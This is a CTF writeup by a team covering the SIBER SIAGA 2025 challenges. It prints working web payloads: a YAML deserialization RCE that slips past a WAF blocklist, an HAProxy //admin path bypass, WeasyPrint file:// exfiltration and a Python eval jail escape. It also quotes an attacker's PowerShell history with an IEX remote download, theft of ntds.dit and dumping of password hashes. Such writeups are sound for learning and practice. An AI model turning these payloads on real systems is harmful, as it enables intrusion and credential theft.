
SIBER SIAGA 2025 CTF Writeup
Hey Guys!
My team C1RY recently participated in the SIBER SIAGA 2025 CTF competition! Our team consisted of Cofastic, soyria, and L3T0x. Below are detailed writeups for the challenges we managed to solve across various categories including Blockchain, Web Exploitation, Reverse Engineering, Forensics, AI/ML, and Miscellaneous.
Blockchain
Puzzle
Puzzle ChallengeThe challenge provides two main contracts: Setup.sol (the deployment/setup contract) and Puzzle.sol (the main puzzle contract with the encryption/decryption logic).
Setup Contract
Puzzle ContractEncryption/Decryption Analysis:
The contract uses a simple byte-wise key that depends on constants and an index i:
Encryption key (used when data was encrypted):
soliditykey = (A + B + SALT + i) % 256
Decryption key (used when reveal() runs):
soliditykey = (A + B + SALT + seedVar + i) % 256
Problem: seedVar was initialized to 1. That single-byte offset makes the decryption key differ from the encryption key by 1, so reveal() returns garbled data until seedVar is corrected.
Solution:
We need to set seedVar = 0. The contract exposes a state-changing setter seedVarStateChanging(x), but it only accepts x values that satisfy:
code(x² + 7) % 256 == 0
⇔ x² ≡ −7 (mod 256)
⇔ x² ≡ 249 (mod 256)
Modular math result: Working modulo 256 gives four valid solutions: x ∈ {53, 75, 181, 203}
Any one of these values, when passed to seedVarStateChanging, will set seedVar to 0 and restore the correct decryption key.
Proof:
Before the fix:
- seedVar = 1
- Decryption key: (A + B + SALT + 1 + i) % 256
- Encryption key: (A + B + SALT + i) % 256
- Keys differ by 1 → decrypted bytes are shifted → garbage
After the fix:
- seedVar = 0 (after calling seedVarStateChanging(x) with a valid x)
- Decryption key: (A + B + SALT + 0 + i) % 256 == (A + B + SALT + i) % 256
- Keys match → reveal() returns the intended plaintext (the flag)
Below is a Foundry Solidity script to call seedVarStateChanging with any one of the solutions:
Solution Script
OutputWeb Exploitation
Bulk Imports Not Blue
Bulk Imports ChallengeThis was a web exploitation challenge involving a Flask application with YAML deserialization vulnerability protected by a Web Application Firewall (WAF).
The application had a portal authentication system that needed to be bypassed to access the /challenge endpoint.
Payload 1: Set portal preferences to enable beta features
json{"prefs": {"features": ["beta", "meta"]}}
URL encoded: %7B%22prefs%22%3A+%7B%22features%22%3A+%5B%22beta%22%2C+%22meta%22%5D%7D%7D
Payload 2: Escalate privileges and unlock challenge area
json{"__class__":{"role":"admin"},"unlock":true}
URL encoded: %7B%22__class__%22%3A%7B%22role%22%3A%22admin%22%7D%2C%22unlock%22%3Atrue%7D
WAF Analysis:
The application had a WAF with specific regex patterns blocking dangerous YAML constructs:
pythonwaf_blocklist = [
"!!python/object/apply\s*:\s*os\.(system|popen|execl|execv|execve|spawnv|spawnve)",
"!!python/object/apply\s*:\s*subprocess\.",
"!!python/object/apply\s*:\s*eval",
"__import__|\bbuiltins\b|globals\(|locals\(|compile\(|exec\(",
"!!python/name|!!python/module",
"!!python/object/apply\s*:\s*(?:open|io\.open|codecs\.open)",
"pathlib\s*\.\s*Path\s*\(.*?\)\s*\.\s*(read_text|read_bytes)",
"os\.(fdopen|popen|popen2|popen3|popen4)"
]
Key WAF Vulnerability: The WAF only blocked !!python/object/apply but completely missed !!python/object/new!
Directory Enumeration:
First, I enumerated the filesystem to locate the flag:
yamlyaml_content=!!python/object/apply:os.listdir ["/"]
URL encoded: %21%21python%2Fobject%2Fapply%3Aos.listdir%20%5B%22%2F%22%5D
Result: Found flag.txt in the root directory
Bypassing Sensitive Token Filter:
The application had a secondary filter that blocked requests containing normalized versions of sensitive strings:
pythonsensitive_tokens = ["flagtxt", "procselfenviron", "etcpasswd"]
Any payload containing "flag.txt" would be normalized to "flagtxt" and blocked.
Final Exploitation:
The solution was to combine two bypass techniques:
- Use !!python/object/new instead of apply to bypass the WAF
- Use wildcards (/f*.txt) to avoid the sensitive token filter
Final Payload:
yamlyaml_content=!!python/object/new:subprocess.getoutput ["cat /f*.txt"]
URL encoded: %21%21python%2Fobject%2Fnew%3Asubprocess.getoutput%20%5B%22cat%20%2Ff%2A.txt%22%5D
Flag ResultFLAG{SIBER25{G3u33s_W4_N44dB3tT33r_S3cuR30394578}}
Bulk Import Blues
Bulk Import BluesThe website accepts YAML data. Because it uses yaml.load unsafely, we can inject Python objects with !!python/object/apply.
We use a payload to explore the filesystem and find the flag:
Filesystem ExplorationThe website accepts YAML data, so we can inject Python objects using !!python/object/apply:
Flag DiscoveryFLAG{SIBER25{Y8mL_Alnt_m4rkUP_l4ngu4g3!!!}}
Private Party
Private Party ChallengeThe "Private Party" challenge involves a Flask web application protected by an HAProxy reverse proxy. The goal is to access a user dashboard to retrieve a flag.
Analysis of the source code reveals that dashboard access is restricted to users who have been created through a special /admin endpoint. However, the HAProxy configuration explicitly denies all requests to paths beginning with /admin.
1. Reconnaissance and Analysis:
Architecture (docker-compose.yml & haproxy.cfg):
The docker-compose.yml file shows two services: web (the Flask app) and haproxy (the reverse proxy). The proxy listens on port 8001 and forwards traffic to the Flask app on port 5000.
The critical piece of information is in haproxy.cfg:
codefrontend http
bind *:8001
default_backend web
...
acl is_admin_path path_beg,url_dec -i /admin
http-request deny if is_admin_path
This Access Control List (ACL) rule, is_admin_path, uses path_beg to check if the request path starts with /admin. If it does, the request is denied.
Application Logic (app.py):
The login() function contains a crucial check:
python# From /login route
u = dbs.query(User).filter_by(username=data.get("username")).first()
# ...
if not u.registered_via_admin:
flash("Access denied: account not registered via admin.", "error")
return render_template("login.html"), 403
A user can only log in successfully if their registered_via_admin attribute in the database is True.
Admin Endpoint Code2. The Vulnerability: Path Normalization:
The vulnerability stems from an inconsistency in how different layers of the web stack parse a URL path:
-
HAProxy (path_beg): This rule performs a literal, case-insensitive string comparison. It checks if the path string starts with the exact characters /admin. A path like //admin does not meet this condition, as it starts with //a. Therefore, HAProxy's ACL does not block it.
-
Flask (Werkzeug): When the request for //admin is forwarded to the backend, Flask's routing engine (Werkzeug) automatically normalizes the path. It collapses multiple slashes into one, treating //admin as being identical to /admin.
3. Exploitation:
Step 1: Create a Privileged User
bashcurl -X POST -H "Content-Type: application/json" -d '{"username":"cofastic", "password":"123"}' http://5.223.49.127:8001//admin
User CreationStep 2: Log In and Capture the Flag
With the privileged user created, we can now navigate to the login page and enter the credentials.
Flag RetrievedFLAG{SIBER25{s3lf_1nv17ed_gu35ts_wh47?}}
SafePDF
SafePDF ChallengeThe challenge presents a PDF conversion service that takes a URL input and generates a PDF snapshot of the webpage. The service uses WeasyPrint, a Python library for converting HTML to PDF.
Key insight: Using the <link> tag with rel="attachment" attribute:
html<link rel="attachment" href="file:///path/to/file">
This feature allows WeasyPrint to embed file contents as attachments within the generated PDF.
Payload Development:
Created an HTML payload with multiple <link> tags targeting common flag locations: Payload Link
PDF Content Extraction:
Used a Python script to extract the embedded file contents from the PDF: Script Link
Step 1: Host the Payload
- Created a GitHub Gist with the malicious HTML
- Obtained the raw URL for the payload
Step 2: Submit to Target
- Accessed the service
- Submitted the GitHub Gist raw URL
Payload Submission- Downloaded the generated PDF
PDF DownloadStep 3: Extract Flag
- Ran the extraction script on the downloaded PDF
Script Execution- Successfully extracted the flag from embedded attachments
Flag ExtractionFLAG{SIBER25{555555555rf_1n_PDF_c0nv3r73r}}
EcoQuery
EcoQuery ChallengeInputHandler::extractPrimaryIdentifier() returns admin (the first username), while $_POST['username'] is guest. Because the app trusts both values, both checks succeed — logging us in as guest but with admin privileges.
EcoQuery ExploitationReverse Engineering
Reverse Engineering BannerR1 - Easy Cipher
Summary:
This challenge provides an ELF binary named r1. The binary prints a banner, reads 8 bytes from itself (the ELF header), and uses those bytes as a secret key. It then applies a custom 2-round XOR-based Feistel cipher on each half of the user input and compares the result with hardcoded ciphertext constants.
Key:
The key is the first 8 bytes of the ELF file header:
code7f 45 4c 46 02 01 01 00
These bytes are the standard ELF magic header, making the key easy to find.
Cipher:
Each half of the input is padded to a multiple of 8 and split into 8-byte blocks. Each block is divided into L and R (4 bytes each) and goes through 2 Feistel rounds.
Round function: F(R, i) = R XOR key[(j+i) % 8], where key is repeated as needed.
Feistel flow per block:
codeL1 = R0
R1 = L0 XOR F(R0, 1)
L2 = R1
R2 = L1 XOR F(R1, 2)
Ciphertexts:
Two 16-byte ciphertext halves stored in .rodata:
- Half1: 0x4606435a3c313744, 0x5c333a677d444c52
- Half2: 0x37776656442a4e68, 0x71777c3a50080943
Reversing:
To solve, implement the inverse of the Feistel network. From ciphertext (L2,R2), undo round 2 to get (L1,R1), then undo round 1 to get (L0,R0). Concatenate to recover the original plaintext.
Decrypt Script:
pythonimport struct
key = bytes([0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00])
def f_fun(R, i):
return bytes([R[j]^key[(j+i)%8] for j in range(len(R))])
def feistel_dec(b):
L2,R2=b[:4],b[4:]
R1=L2
L1=bytes([a^b for a,b in zip(R2,f_fun(R1,2))])
R0=L1
L0=bytes([a^b for a,b in zip(R1,f_fun(R0,1))])
return L0+R0
def dec_half(ct):
return feistel_dec(ct[:8])+feistel_dec(ct[8:])
def qw(q1,q2):
return struct.pack('<Q',q1)+struct.pack('<Q',q2)
c1=qw(0x4606435a3c313744,0x5c333a677d444c52)
c2=qw(0x37776656442a4e68,0x71777c3a50080943)
print(dec_half(c1)+dec_half(c2))
Output: b'SIBER25{n0w_y0u _l34rn_r3v3r53} '
FLAG{SIBER25{n0w_y0u_l34rn_r3v3r53}}
Forensics
Dumpster Diving
Dumpster Diving ChallengeThe challenge provides an AD1 file which I opened using FTK Imager. The challenge hints "accidentally deleted" meaning that the first thing I should try and look at is the recycle bin.
Recycle Bin ExplorationHere, I could find three files:
Files FoundUpon inspecting the strings I could find the flag in file: $IFFB4JW.jpg
Flag DiscoveryFLAG{SIBER25{1OokiN6_foR_7R4ShED_1T3ms}}
Breached
Breached ChallengeThe challenge provides a multi-segment AD1 forensic image. I navigated through the filesystem and located a key directory: [root]/Temp/
Temp DirectoryKey Files Found:
- EnableAllTokenPrivs.ps1 - PowerShell script enabling all Windows privileges
- hehe.txt - Volume Shadow Copy Service (VSS) script
- ntds.dit - Active Directory database
- SYSTEM - Registry hive
- SeBackupPrivilegeUtils.dll - Backup privilege exploitation DLL
- SeBackupPrivilegeCmdLets.dll - Additional privilege tools
Attack Vector Analysis:
VSS Script Analysis (hehe.txt):
VSS ScriptThis script creates a Volume Shadow Copy and exposes the C: drive as E:, allowing access to locked files.
PowerShell Command History Found:
powershell# Domain setup
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "dllm.hk" -InstallDNS
# Vulnerable AD environment creation
IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1"));
Invoke-VulnAD -UsersLimit 100 -DomainName "dllm.hk"
# The actual attack
diskshadow /s hehe.txt
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege E:\Windows\ntds\ntds.dit C:\Temp\ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM
Hash Extraction and Cracking:
I extracted the stolen AD database and registry hive, then used Impacket's secretsdump:
bashimpacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL > password_dump.txt
Password DumpKnowing I needed to find an account with the plaintext password 8675309, I used CrackStation:
Hash CrackingHash 1c2f7f3b20a7a3c512c72c6551d5c8ae appears to be the one with that plaintext password:
User DiscoveryAccount Name: kassia.dotti
Finding Administrator account:
Admin HashFinding duplicate hashes (shared passwords):
Duplicate HashesResults:
- Hash with 3 occurrences: 1b5fd36fd806997ad2e1f5ac2c37155b (shared password)
- Administrator hash: cf3a5525ee9414229e66279623ed5c58
- Account with 8675309: kassia.dotti (hash: 1c2f7f3b20a7a3c512c72c6551d5c8ae)
Using CrackStation results:
- 1c2f7f3b20a7a3c512c72c6551d5c8ae = 8675309
- 1b5fd36fd806997ad2e1f5ac2c37155b = ncc1701
- cf3a5525ee9414229e66279623ed5c58 = Welcome1
Answers to Challenge Questions:
- Windows privilege token used: SeBackupPrivilege
- Account with password 8675309: kassia.dotti
- Shared password: ncc1701 (used by 3 accounts)
- Administrator password: Welcome1
FLAG{SIBER25{SeBackupPrivilege_kassia.dotti_ncc1701_Welcome1}}
ViewPort
ViewPort ChallengeChallenge Description:
"Oops. I accidentally deleted the flag when cleaning up my Desktop."
Files Provided:
Challenge Files- Viewport.ad1 (Forensic disk image)
- Zip Password: e0ff450ab4c79a7810ad46b45f4b8f10678a63df866757566d17b8b998be4161
Understanding the Challenge:
The challenge description indicates that a flag file was accidentally deleted from the Desktop during cleanup. This is a classic Windows forensics scenario requiring recovery of deleted files from an AD1 forensic image.
Upon going through the files within the provided image file, I located interesting files:
Icon Cache FilesFile Found: iconcache_*.db
Location: Users/chaib/AppData/Local/Microsoft/Windows/Explorer/
Location: Users/chaib/AppData/Local/Microsoft/Windows/Explorer/
These Windows icon cache databases store thumbnail images of files at various resolutions (256x256 in this case). Additionally, these thumbnails can persist even after the original files are deleted.
I used ThumbCacheViewer (https://thumbcacheviewer.github.io) to view these cached thumbnails.
Process:
- Extracted all the iconcache_*.db files to my local machine
- Examined them in ThumbCacheViewer
- Browsed through cached thumbnail images
I located a cached thumbnail image containing the parts of the flag text:
Flag ThumbnailThe flag was embedded in a thumbnail that had been cached when the original flag file was viewed on the Desktop. Even though the original file was deleted during "cleanup," its thumbnail representation remained in the Windows icon cache.
Flag AssemblyFLAG{SIBER25{V3RY_sMA1L_thUm8n4115}}
AI/ML
Entry To Meta City
Meta City ChallengeThe challenge provides a website:
Website InterfaceThe solution to this challenge is surprisingly easy. I noticed the sentence: "unless you are an admin" in the challenge description. I then instinctively wrote "I'm admin" in the field and submitted which returned the flag.
Flag ResultFLAG{SIBER25{w3lc0m3_70_7h3_c00l357_c17y}}
Miscellaneous
A Byte Tales
Byte Tales ChallengeThe challenge provides a Python-based interactive story game with source code.
Looking at source.py, the game has multiple paths:
- Following the main story path (stages 1-5)
- Taking the alternative path via alt_path()
- Getting punished in the jail() function
The critical vulnerability is in the jail() function:
Jail Function- The jail() function accepts user input and passes it to eval()
- There's a blacklist of dangerous keywords, but it's incomplete
- File operations like open() are not blacklisted
- The flag is likely in flag.txt
To trigger the jail() function:
- Choose "B" (Walk out into the unknown)
- When prompted "Is this what you really wish for?", enter any invalid option (not "A" or "B")
- This triggers the else clause in alt_path() which calls jail()
Exploiting the Vulnerability:
The eval() function executes our input but doesn't print results. We need a payload that forces output or causes an error revealing the flag.
Working payload: help(open('flag.txt').read())
This payload:
- Opens and reads the flag file content
- Passes the flag string to help()
- The help() function displays information about the string, revealing the flag
Recap:
- Connect to the service: nc 5.223.49.127 57001
Connection- Choose "B" to walk into the unknown
Choice B- Enter "C" (or any invalid choice) to trigger jail
Trigger Jail- Enter payload: help(open('flag.txt').read())
Payload Execution- The error message reveals the flag
Flag RevealedFLAG{SIBER25{St1ck_70_7h3_5toryl1n3!}}
Spelling Bee
Spelling Bee ChallengeThe "Flag Spelling Bee" was a misc category CTF challenge that required guessing characters one by one to reveal a hidden flag. You only get 5 attempts per connection before being kicked out.
Constraints:
- Maximum 5 character guesses per session
- Flag Length: 46 characters
- Final Flag: SIBER25{s0me71me5_lif3_c4n_b3_a_l1ttl3_p0ta70}
When connecting to the service, we're presented with:
Service InterfaceI noticed that each correct guess reveals ALL instances of that character in the flag. Wrong guesses count against the 5-try limit. The connection closes after 5 tries, but we can reconnect unlimited times, and each new connection resets the attempt counter.
Strategy:
The new connection gives us a fresh set of 5 attempts. This meant we could:
- Connect to the service
- Guess up to 5 characters (aiming for 4-5 correct ones)
- Get disconnected
- Reconnect and repeat
- Slowly map out the entire flag
Rather than guessing randomly, I used a methodical approach by trying common characters. As more characters were revealed, patterns emerged.
Recognizing the Flag Format:
As characters filled in, readable words emerged:
- s0me_1me5 = "sometimes"
- lif3 = "life"
- c4n = "can"
- b3 = "be"
- l1ttl3 = "little"
- p0ta70 = "potato"
Flag Evolution:
Each session revealed more characters. Here's how the flag evolved:
Session 1-3: Basic character discovery
code___________e___e_______c___b__a___________a___
Session 4-6: Numbers and structure
codeSIBER25{s_me_1me5_l_f3_c___b3_a_l1ttl3_p_ta__}
Session 7-9: Filling gaps
codeSIBER25{s0me_1me5_lif3_c_n_b3_a_l1ttl3_p0ta_0}
Final Sessions: Last missing pieces
codeSIBER25{s0me71me5_lif3_c4n_b3_a_l1ttl3_p0ta70}
Character Priority:
I prioritized characters roughly in this order:
- Vowels: e, a, i, o, u
- Common consonants: r, s, t, n, l
- Numbers: 0, 1, 2, 3, 5, 7
- Special characters: {, }
FLAG{SIBER25{s0me71me5_lif3_c4n_b3_a_l1ttl3_p0ta70}}
That wraps up all the challenges we solved in SIBER SIAGA 2025 CTF! It was a challenging but rewarding experience covering multiple domains of cybersecurity.
Thanks for reading!